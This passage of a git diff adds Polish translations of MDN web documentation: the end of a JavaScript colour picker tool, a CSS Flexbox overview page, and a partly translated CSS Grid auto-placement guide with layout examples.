+ CanvasSamples.unsetActiveSample();
+ }
+ });
+ };
+
+ var unsetVoidSample = function unsetVoidSample() {
+ void_sw.unset();
+ };
+
+ var init = function init() {
+ controls = getElemById('controls');
+
+ var color = new Color();
+ color.setHSL(0, 51, 51);
+ UIColorPicker.setColor('picker', color);
+
+ setPickerDragAndDrop();
+ createPickerModeSwitch();
+ setVoidSwitch();
+ };
+
+ return {
+ init : init,
+ unsetVoidSample : unsetVoidSample,
+ getSampleColorFrom : getSampleColorFrom
+ };
+
+ })();
+
+ var init = function init() {
+ UIColorPicker.init();
+ InputSliderManager.init();
+ ColorInfo.init();
+ ColorPalette.init();
+ ColorPickerSamples.init();
+ CanvasSamples.init();
+ Tool.init();
+ };
+
+ return {
+ init : init
+ };
+
+})();
+
+</pre>
+</div>
+
+<p>{{CSSRef}}</p>
+
+<p><span class="seoSummary">To narzędzie ułatwia tworzenie, wybieranie i eksperymentowanie z niestandadrowymi kolorami w sieci.</span> Umożliwia także konwersję pomiędzy różnymi <a href="/en-US/docs/Web/CSS/color_value">formatami kolorów</a> obsługiwanymi przez <a href="/en-US/docs/Web/CSS">CSS</a>, w tym: kolory HEXA, RGB (Red/Green/Blue) i HSL (Hue/Saturation/Lightness). Możliwa jest też kontrola kanału alpha w formatach RGB (rgba) i HSL.</p>
+
+<p>Każdy wybrany kolor prezentowany jest we wszystkich trzech standardowych formatach CSS . Dodatkowo, bazując na obecnie wybranym kolorze, tworzona jest paleta HSL, HSV oraz alpha. Okno wyboru koloru "zakraplacz" można przełączać pomiędzy formatami HSL i HSV. Przeciągając kolory do pojemnika na dole i poruszając nimi nad sobą możesz przetestować jak wyglądają obok siebie. Zmieniaj względną wartość z-index aby przesunąc kolor na wierzch lub schować za innym.</p>
+
+<p>To narzędzie pozwoli ci odnależć idealne kolory CSS do wykorzystania w twoim <a href="/en-US/docs/Web/HTML">HTML</a>.</p>
+
+<div>{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}</div>
+
+<p>Wygenerowane kolory można użyć wszędzie gdzie potrzeba w obrębie CSS i HTML, chyba że stwierdzono inaczej.</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<p>Więcej o używaniu kolrów, sprawdź:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Stosowanie kolrów do elementów HTML za pomocą CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Podstawy stylizacji czcionek</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Stylizacja krawędzi przy użyciu CSS</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_boxes/Backgrounds">Zmienianie stylów tła za pomocą CSS</a></li>
+ <li><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">Kolor i kontrast</a></li>
+</ul>
diff --git a/files/pl/web/css/css_flexible_box_layout/index.html b/files/pl/web/css/css_flexible_box_layout/index.html
new file mode 100644
index 0000000000..ae8c92e4d8
--- /dev/null
+++ b/files/pl/web/css/css_flexible_box_layout/index.html
@@ -0,0 +1,156 @@
+---
+title: Elastyczny model pudełkowy CSS
+slug: Web/CSS/CSS_Flexible_Box_Layout
+translation_of: Web/CSS/CSS_Flexible_Box_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><strong>Elastyczny model pudełkowy CSS </strong>jest modułem <a href="/en-US/docs/Web/CSS">CSS</a> definiującym model pudełkowy CSS zoptymalizowany do projektowania interfejsów użytkownika i układania elementów wzdłuż osi. W elastycznym modelu pudełkowym dzieci elastycznego kontenera mogą być ułożone w dowolnym kierunku oraz zmieniać swoje rozmiary albo rosnąc w celu zajęcia nieużytej przestrzeni albo kurcząc się by uniknąć przepełnienia kontenera. Zarówno horyzontalne jak i wertykalne ułożenie dzieci może być łatwo kontrolowane.</p>
+
+<h2 id="Prosty_przykład">Prosty przykład</h2>
+
+<p>W poniższym przykładzie kontenerowi ustawiono <code>display: flex</code> co oznacza, że trójka dzieci stała się elastycznymi elementami. Wartość <code>justify-content</code> została ustawiona na <code>space-between</code> w celu równego rozproszenia elementów wzdłuż głównej osi. Między elementami umieszczona zostanie jednakowa ilość przestrzeni, a prawy i lewy element zostaną wypchnięte do krawędzi kontenera. Ponadto elementy są rozciągnięte na całą długość osi prostopadłej z powodu domyślnej wartości <code>align-items</code> wynoszącej <code>stretch</code>. Elementy rozciągają się do maksymanlej wysokości elastycznego kontenera sprawiając, że każdy z nich ma wysokość najwyższego.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}</p>
+
+<h2 id="Odnośniki">Odnośniki</h2>
+
+<h3 id="Atrybuty_CSS">Atrybuty CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
+ <li>{{cssxref("flex-shrink")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+ <li>{{cssxref("order")}}</li>
+</ul>
+</div>
+
+<h3 id="Słownik_pojęć">Słownik pojęć</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/en-US/docs/Glossary/Flexbox">Flexbox</a></li>
+ <li><a href="/en-US/docs/Glossary/Flex_Container">Elastyczny kontener</a></li>
+ <li><a href="/en-US/docs/Glossary/Flex_Item">Element flex</a></li>
+ <li><a href="/en-US/docs/Glossary/Main_Axis">Oś główna</a></li>
+ <li><a href="/en-US/docs/Glossary/Cross_Axis">Oś poprzeczna</a></li>
+ <li><a href="/en-US/docs/Glossary/Flex">Flex</a></li>
+</ul>
+</div>
+
+<h2 id="Przewodniki">Przewodniki</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Podstawowe zagadnienia Flexboksa</a></dt>
+ <dd>Przegląd funkcji flexboksa</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Powiązania flexboksa z innymi sposobami układu</a></dt>
+ <dd>Jak flexbox jest powiązany z innymi rodzajami układu i innymi specyfikacjami CSS</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Rozmieszczanie elementów w elastycznym kontenerze</a></dt>
+ <dd>Jak atrybuty ustawiania elementów dziłają z flexboksem.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Kolejność elementów elastycznego kontenera</a></dt>
+ <dd>Wyjaśnienie różnych sposobów na zmienianie kolejności i kierunku elementów oraz omówienie potencjalnych problemów z tym związanych.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Kontrola proporcji elastycznych elementów wzdłuż osi głównej</a></dt>
+ <dd>Artykuł wyjaśniający atrybuty flex-grow, flex-shrink oraz flex-basis.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Przechodzenie elastycznych elementów do nowego wiersza</a></dt>
+ <dd>Tworzenie wielolinijkowych kontenerów flex oraz kontrola wyświetlania elementów w tych linijkach.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typowe zastosowania flexboksa</a></dt>
+ <dd>Częste wzorce projektowe będące typowymi zastosowaniami flexboksa.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Kompatybilność wsteczna flexboksa</a></dt>
+ <dd>Stan flexboksa w przeglądarkach, problemy "interoperability", wsparcie starszych przeglądarek i wersji specyfikacji.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Flexbox') }}</td>
+ <td>{{ Spec2('CSS3 Flexbox') }}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable()}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatGeckoDesktop("20.0")}}</td>
+ <td>21.0{{property_prefix("-webkit")}}<br>
+ 29.0</td>
+ <td>10.0{{property_prefix("-ms")}}<br>
+ 11.0</td>
+ <td>12.10</td>
+ <td>6.1{{property_prefix("-webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Android</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown()}}</td>
+ <td>4.4</td>
+ <td>11</td>
+ <td>12.10</td>
+ <td><span style="font-size: 12px; line-height: 18px;">7.1{{property_prefix("-webkit")}}</span></td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<dl>
+ <dt><a href="https://github.com/philipwalton/flexbugs">Flexbugs</a></dt>
+ <dd>tworzona przez społeczność lista błędów flexboksa w przeglądarkach i sposoby ich obejścia</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mixins">Cross-browser Flexbox mixins</a></dt>
+ <dd>Artykuł zawierający zbiór mixinów dla tych którzy chcą stworzyć wieloprzeglądarkowe rozwiązania typu flexbox działające nawet w starszych przeglądarkach nie wspierających nowoczesnej składni flexbox.</dd>
+</dl>
+
+<p> </p>
diff --git a/files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html b/files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html
new file mode 100644
index 0000000000..eb9d550390
--- /dev/null
+++ b/files/pl/web/css/css_grid_layout/auto-placement_in_css_grid_layout/index.html
@@ -0,0 +1,609 @@
+---
+title: Auto-placement in CSS Grid Layout
+slug: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout
+translation_of: Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout
+---
+<p>Poza możliwością umieszczania elementów</p>
+
+<div id="placement_1">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('placement_1', '500', '230') }}</p>
+</div>
+
+<h2 id="Default_rules_for_auto-placement">Default rules for auto-placement</h2>
+
+<p>As you can see with the above example, if you create a grid all child items will lay themselves out one into each grid cell. The default flow is to arrange items by row. Grid will lay an item out into each cell of row 1. If you have created additional rows using the <code>grid-template-rows</code> property then grid will continue placing items in these rows. If the grid does not have enough rows in the explicit grid to place all of the items new <em>implicit</em> rows will be created.</p>
+
+<h3 id="Sizing_rows_in_the_implicit_grid">Sizing rows in the implicit grid</h3>
+
+<p>The default for automatically created rows in the implicit grid is for them to be auto-sized. This means that they will contain the content added to them without causing an overflow.</p>
+
+<p>You can however control the size of these rows with the property <code>grid-auto-rows</code>. To cause all created rows to be 100 pixels tall for example you would use:</p>
+
+<div id="placement_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-gap: 10px;
+ grid-auto-rows: 100px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_2', '500', '330') }}</p>
+</div>
+
+<p>You can use {{cssxref("minmax","minmax()")}} in your value for {{cssxref("grid-auto-rows")}} enabling the creation of rows that are a minimum size but then grow to fit content if it is taller.</p>
+
+<div id="placement_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four
+  &lt;br&gt;This cell
+  &lt;br&gt;Has extra
+  &lt;br&gt;content.
+  &lt;br&gt;Max is auto
+  &lt;br&gt;so the row expands.
+  &lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-gap: 10px;
+ grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_3', '500', '330') }}</p>
+</div>
+
+<p>You can also pass in a track listing, this will repeat. The following track listing will create an initial implicit row track as 100 pixels and a second as <code>200px</code>. This will continue for as long as content is added to the implicit grid. <strong>Track listings are not supported in Firefox.</strong></p>
+
+<div id="placement_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+ &lt;div&gt;Six&lt;/div&gt;
+ &lt;div&gt;Seven&lt;/div&gt;
+ &lt;div&gt;Eight&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(3, 1fr);
+ grid-gap: 10px;
+ grid-auto-rows: 100px 200px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_4', '500', '330') }}</p>
+</div>
+
+<h3 id="Auto-placement_by_column">Auto-placement by column</h3>
+
+<p>You can also ask grid to auto-place items by column. Using the property {{cssxref("grid-auto-flow")}} with a value of <code>column</code>. In this case grid will add items in rows that you have defined using {{cssxref("grid-template-rows")}}. When it fills up a column it will move onto the next explicit column, or create a new column track in the implicit grid. As with implicit row tracks, these column tracks will be auto sized. You can control the size of implicit column tracks with {{cssxref("grid-auto-columns")}}, this works in the same way as {{cssxref("grid-auto-rows")}}.</p>
+
+<p>In this next example I have created a grid with three row tracks of 200 pixels height. I am auto-placing by column and the columns created will be a column width of 300 pixels, then a column width of 100 pixels until there are enough column tracks to hold all of the items.</p>
+
+<div id="placement_5">
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-rows: repeat(3, 200px);
+ grid-gap: 10px;
+ grid-auto-flow: column;
+ grid-auto-columns: 300px 100px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+ &lt;div&gt;Six&lt;/div&gt;
+ &lt;div&gt;Seven&lt;/div&gt;
+ &lt;div&gt;Eight&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('placement_5', '500', '640') }}</p>
+</div>
+
+<h2 id="The_order_of_auto_placed_items">The order of auto placed items</h2>
+
+<p>A grid can contain a mixture of items. Some of the items may have a position on the grid, but others may be auto-placed. This can be helpful, if you have a document order that reflects the order in which items sit on the grid you may not need to write CSS rules to place absolutely everything. The specification contains a long section detailing the <a href="https://drafts.csswg.org/css-grid/#auto-placement-algo">Grid item placement algorithm</a>, however for most of us we just need to remember a few simple rules for our items.</p>
+
+<h3 id="Order_modified_document_order">Order modified document order</h3>
+
+<p>Grid places items that have not been given a grid position in what is described in the specification as “order modified document order”. This means that if you have used the <code>order</code> property at all, the items will be placed by that order, not their DOM order. Otherwise they will stay by default in the order that they are entered in the document source.</p>
+
+<h3 id="Items_with_placement_properties">Items with placement properties</h3>
+
+<p>The first thing grid will do is place any items that have a position. In the example below I have 12 grid items. Item 2 and item 5 have been placed using line based placement on the grid. You can see how those items are placed and the other items then auto-place in the spaces. The auto-placed items will place themselves before the placed items in DOM order, they don’t start after the position of a placed item that comes before them.</p>
+
+<div id="placement_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+ &lt;div&gt;Six&lt;/div&gt;
+ &lt;div&gt;Seven&lt;/div&gt;
+ &lt;div&gt;Eight&lt;/div&gt;
+ &lt;div&gt;Nine&lt;/div&gt;
+ &lt;div&gt;Ten&lt;/div&gt;
+ &lt;div&gt;Eleven&lt;/div&gt;
+ &lt;div&gt;Twelve&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(4, 1fr);
+ grid-auto-rows: 100px;
+ grid-gap: 10px;
+}
+ .wrapper div:nth-child(2) {
+ grid-column: 3;
+ grid-row: 2 / 4;
+ }
+ .wrapper div:nth-child(5) {
+ grid-column: 1 / 3;
+ grid-row: 1 / 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_6', '500', '450') }}</p>
+</div>
+
+<h3 id="Deal_with_items_that_span_tracks">Deal with items that span tracks</h3>
+
+<p>You can use placement properties while still taking advantage of auto-placement. In this next example I have added to the layout by setting odd items to span two tracks both for rows and columns. I do this with the {{cssxref("grid-column-end")}} and {{cssxref("grid-row-end")}} properties and setting the value of this to <code>span 2</code>. What this means is that the start line of the item will be set by auto-placement, and the end line will span two tracks.</p>
+
+<p>You can see how this then leaves gaps in the grid, as for the auto-placed items if grid comes across an item that doesn’t fit into a track, it will move to the next row until it finds a space the item can fit in.</p>
+
+<div id="placement_7">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+ &lt;div&gt;Six&lt;/div&gt;
+ &lt;div&gt;Seven&lt;/div&gt;
+ &lt;div&gt;Eight&lt;/div&gt;
+ &lt;div&gt;Nine&lt;/div&gt;
+ &lt;div&gt;Ten&lt;/div&gt;
+ &lt;div&gt;Eleven&lt;/div&gt;
+ &lt;div&gt;Twelve&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(4, 1fr);
+ grid-auto-rows: 100px;
+ grid-gap: 10px;
+}
+.wrapper div:nth-child(4n+1) {
+ grid-column-end: span 2;
+ grid-row-end: span 2;
+ background-color: #ffa94d;
+}
+ .wrapper div:nth-child(2) {
+ grid-column: 3;
+ grid-row: 2 / 4;
+ }
+ .wrapper div:nth-child(5) {
+ grid-column: 1 / 3;
+ grid-row: 1 / 3;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_7', '500', '770') }}</p>
+</div>
+
+<h3 id="Filling_in_the_gaps">Filling in the gaps</h3>
+
+<p>So far, other than items we have specifically placed, grid is always progressing forward and keeping items in DOM order. This is generally what you want, if you are laying out a form for example you wouldn’t want the labels and fields to become jumbled up in order to fill in some gap. However sometimes, we are laying things out that don’t have a logical order and we would like to create a layout that doesn’t have gaps in it.</p>
+
+<p>To do this, add the property {{cssxref("grid-auto-flow")}} with a value of <code>dense</code> to the container. This is the same property you use to change the flow order to <code>column</code>, so if you were working in columns you would add both values <code>grid-auto-flow: column dense</code>.</p>
+
+<p>Having done this, grid will now backfill the gaps, as it moves through the grid it leaves gaps as before, but then if it finds an item that will fit in a previous gap it will pick it up and take it out of DOM order to place it in the gap. As with any other reordering in grid this does not change the logical order. Tab order for example, will still follow the document order. We will take a look at the potential accessibility issues of Grid Layout in a later guide, but you should take care when creating this disconnect between the visual order and display order.</p>
+
+<div id="placement_8">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+ border: 2px solid #ffa94d;
+ border-radius: 5px;
+ background-color: #ffd8a8;
+ padding: 1em;
+ color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;div&gt;One&lt;/div&gt;
+ &lt;div&gt;Two&lt;/div&gt;
+ &lt;div&gt;Three&lt;/div&gt;
+ &lt;div&gt;Four&lt;/div&gt;
+ &lt;div&gt;Five&lt;/div&gt;
+ &lt;div&gt;Six&lt;/div&gt;
+ &lt;div&gt;Seven&lt;/div&gt;
+ &lt;div&gt;Eight&lt;/div&gt;
+ &lt;div&gt;Nine&lt;/div&gt;
+ &lt;div&gt;Ten&lt;/div&gt;
+ &lt;div&gt;Eleven&lt;/div&gt;
+ &lt;div&gt;Twelve&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper div:nth-child(4n+1) {
+ grid-column-end: span 2;
+ grid-row-end: span 2;
+ background-color: #ffa94d;
+}
+ .wrapper div:nth-child(2) {
+ grid-column: 3;
+ grid-row: 2 / 4;
+ }
+ .wrapper div:nth-child(5) {
+ grid-column: 1 / 3;
+ grid-row: 1 / 3;
+}
+.wrapper {
+ display: grid;
+ grid-template-columns: repeat(4, 1fr);
+ grid-auto-rows: 100px;
+ grid-gap: 10px;
+ grid-auto-flow: dense;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('placement_8', '500', '730') }}</p>
+</div>
+
+<h3 id="Anonymous_grid_items">Anonymous grid items</h3>
+
+<p>There is a mention in the specification of anonymous grid items. These are created if you have a string of text inside your grid container, that is not wrapped in any other element. In the example below we have three grid items, assuming you had set the parent with a class of <code>grid</code> to <code>display: grid</code>. The first is an anonymous item as it has no enclosing markup, this item will always be dealt with via the auto-placement rules. The other two are grid items enclosed in a div, they might be auto-placed or you could place these with a positioning method onto your grid.</p>
+
+<pre class="brush: css">&lt;div class="grid"&gt;
+ I am a string and will become an anonymous item
+ &lt;div&gt;A grid item&lt;/div&gt;
+ &lt;div&gt;A grid item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Anonymous items are always auto-placed because there is no way to target them. Therefore if you have some unwrapped text for some reason in your grid, be aware that it might show up somewhere unexpected as it will be auto-placed according to the auto-placement rules.</p>
+
+<h3 id="Use_cases_for_auto-placement">Use cases for auto-placement</h3>
+
+<p>Auto-placement is useful whenever you have a collection of items. That could be items that do not have a logical order such as a gallery of photos, or product listing. In that case you might choose to use the dense packing mode to fill in any holes in your grid. In my image gallery example I have some landscape and some portrait images. I have set landscape images – with a class of <code>landscape</code> to span two column tracks. I then use <code>grid-auto-flow: dense</code> to create a densely packed grid.</p>
+
+<div id="placement_9">
+<pre class="brush: css">.wrapper {
+ display: grid;
+ grid-template-columns: repeat(auto-fill, minmax(120px, 1fr));
+ grid-gap: 10px;
+ grid-auto-flow: dense;
+ list-style: none;
+ margin: 1em auto;
+ padding: 0;
+ max-width: 800px;
+}
+.wrapper li {
+ border: 1px solid #ccc;
+}
+.wrapper li.landscape {
+ grid-column-end: span 2;
+}
+.wrapper li img {
+ display: block;
+ object-fit: cover;
+ width: 100%;
+ height: 100%;
+}
+</pre>
+
+<pre class="brush: html">&lt;ul class="wrapper"&gt;
+ &lt;li&gt;&lt;img src="https://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li class="landscape"&gt;&lt;img src="https://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li class="landscape"&gt;&lt;img src="https://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li class="landscape"&gt;&lt;img src="https://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;img src="https://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;img src="https://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li class="landscape"&gt;&lt;img src="https://placehold.it/350x200" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;img src="https://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;img src="https://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+ &lt;li&gt;&lt;img src="https://placehold.it/200x300" alt="placeholder"&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('placement_9', '500', '1300') }}</p>
+</div>
+
+<p>Auto-placement can also help you lay out interface items which do have logical order. An example is the definition list in this next example. Definition lists are an interesting challenge to style as they are flat, there is nothing wrapping the groups of <code>dt</code> and <code>dd</code> items. In my example I am allowing auto-placement to place the items, however I have classes that start a <code>dt</code> in column 1, and <code>dd</code> in column 2, this ensure that terms go on one side and definitions on the other - no matter how many of each we have.</p>
+
+<div id="placement_10">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+ border: 2px solid #f76707;
+ border-radius: 5px;
+ background-color: #fff4e6;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+ &lt;dl&gt;
+ &lt;dt&gt;Mammals&lt;/dt&gt;
+ &lt;dd&gt;Cat&lt;/dd&gt;
+ &lt;dd&gt;Dog&lt;/dd&gt;
+ &lt;dd&gt;Mouse&lt;/dd&gt;
+ &lt;dt&gt;Fish&lt;/dt&gt;
+ &lt;dd&gt;Guppy&lt;/dd&gt;
+ &lt;dt&gt;Birds&lt;/dt&gt;
+ &lt;dd&gt;Pied Wagtail&lt;/dd&gt;
